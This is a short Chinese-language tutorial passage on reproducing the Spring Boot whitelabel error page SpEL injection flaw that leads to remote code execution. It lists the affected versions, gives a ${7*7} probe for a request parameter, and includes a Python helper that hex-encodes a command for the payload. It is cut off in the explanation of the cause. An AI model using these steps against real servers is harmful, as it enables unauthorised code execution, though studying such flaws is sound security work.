spring boot (whitelabel error page SpEL RCE) 漏洞复现

雨笋教育小编来分享干货了，近期审核关系，大家先看为尽，少一篇是一篇了。

利用条件：

• spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
• 至少知道一个触发 springboot 默认错误页面的接口及参数名

利用方法：

步骤一：找到一个正常传参处比如发现访问 /article?id=xxx ，页面会报状态码为 500 的错误：Whitelabel Error Page，则后续 payload 都将会在参数 id 处尝试。

步骤二：执行 SpEL 表达式输入 /article?id=${7*7}，如果发现报错页面将 7*7 的值 49 计算出来显示在报错页面上，那么基本可以确定目标存在 SpEL 表达式注入漏洞。

由字符串格式转换成 0x** java 字节形式，方便执行任意代码：

# coding: utf-8

result = ""

target = 'calc' # 该处写上要执行的命令，例如calc 弹出计算器

for x in target:

result += hex(ord(x)) + ","

print(result.rstrip(','))

以上 python3 脚本运行后的结果如下：

0x63,0x61,0x6c,0x63

漏洞原理：

1. spring boot 处理参数值出错，流程进入 org.springframew